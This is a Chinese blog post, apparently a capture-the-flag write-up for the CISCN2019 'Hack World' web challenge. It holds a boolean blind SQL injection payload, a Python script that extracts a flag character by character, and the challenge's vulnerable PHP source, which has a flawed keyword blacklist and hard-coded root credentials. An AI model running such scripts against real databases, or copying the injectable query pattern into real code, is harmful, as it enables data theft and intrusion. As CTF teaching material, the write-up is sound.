[CISCN2019 华北赛区 Day2 Web1]Hack World

0x00

打开web界面如下

这是一个注入题,并且提示了flag在flag表的flag字段
经过模糊测试,发现如下

  • 输入1
返回 Hello, glzjin wants a girlfriend.
  • 输入2
返回 Do you want to be my girlfriend?
  • 输入其他数字
返回 Error Occured When Fetch Result.
  • 输入字母
返回 bool(false)
  • 输入字符串(包括空格)
返回 SQL Injection Checked.

根据上面我们可以推断,这是一个数字型布尔盲注
我们可以使用如下payload:

if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)
## ()可以代替空格的作用
## substr截取查询到的flag值
## if(*,1,2)判断语句如果*成立返回1否则返回2

我们接下来写python脚本来代替手工注入,脚本如下:

import requests
url = "http://38888593-aa19-4987-882a-986592d08855.node3.buuoj.cn/index.php"
flag= ""
for i in range(1,50):
    high = 126
    low = 32
    mid = (high + low) // 2 
    while high > low:
        data={
                "id" : 'if(ascii(substr((select(flag)from(flag)),{0},1))>{1},1,2)'.format(i,mid)
             }   
        res = requests.post(url,data=data)
        if "Hello" in res.text:
            low = mid + 1
        else:
            high = mid
        mid = (high + low) // 2
    flag += chr(int(mid))
    print(flag)

执行脚本后,得到flag

0x01 总结

  • 1.数字型布尔盲注
## substr字符串截取
## ascii函数经常用于盲注中写脚本来判断数据库中具体数据
## sql中的if用法
  • 2.写python脚本

0x02 源码分析

<?php
$dbuser='root';
$dbpass='root';

function safe($sql){
    #被过滤的内容 函数基本没过滤
    $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
    foreach($blackList as $blackitem){
        if(stripos($sql,$blackitem)){
            return False;
        }
    }
    return True;
}
if(isset($_POST['id'])){
    $id = $_POST['id'];
}else{
    die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
    die(mysql_error());
}   
mysql_select_db("ctf",$db);

if(safe($id)){
    $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
    
    if($query){
        $result = mysql_fetch_array($query);
        
        if($result){
            echo $result['content'];
        }else{
            echo "Error Occured When Fetch Result.";
        }
    }else{
        var_dump($query);
    }
}else{
    die("SQL Injection Checked.");
}

一开始进行模糊测试的时候只发现过滤了空格,后来找到源码后才发现过滤了许多
下面我们来分析一下出现上面哪几种测试结果的原因:

返回 Hello, glzjin wants a girlfriend.

返回的结果为数据库中的ID=1的数据,此测试为正常测试结果

返回 Do you want to be my girlfriend?

返回的结果为数据库中的ID=2的数据,此测试为正常测试结果

返回 Error Occured When Fetch Result.
$result = mysql_fetch_array($query);
 
 if($result){
    echo $result['content'];
}else{
    echo "Error Occured When Fetch Result.";
}
## mysql_fetch_array:从结果集中取数据作为关联数组,如果结果集中没有数据则返回false
## 这里输入其他数字,数据库中没有数据,查询到的结果集为空,所以打印"Error Occured When Fetch Result."
返回 bool(false)
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");

if($query){
      .....
    }else{
        var_dump($query);
    }
## mysql_query:执行一条sql语句,如果执行报错返回false
## 这里输入字母会报错,因为ID为整型,var_dump函数直接打印出(打印的时候包括数据类型)
返回 SQL Injection Checked.
function safe($sql){
    #被过滤的内容 函数基本没过滤
    $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
    foreach($blackList as $blackitem){
        if(stripos($sql,$blackitem)){
            return False;
        }
    }
    return True;
}

这里有一点问题,stripos函数返回某字符串在指定字符串中的位置,但是它是从零开始,
如果被过滤的字符串在开头则返回0,不会执行上面if里面的return false,而是返回true,导致过滤失效

posted @ 2020-09-09 14:28  she11s  阅读(313)  评论(0编辑  收藏  举报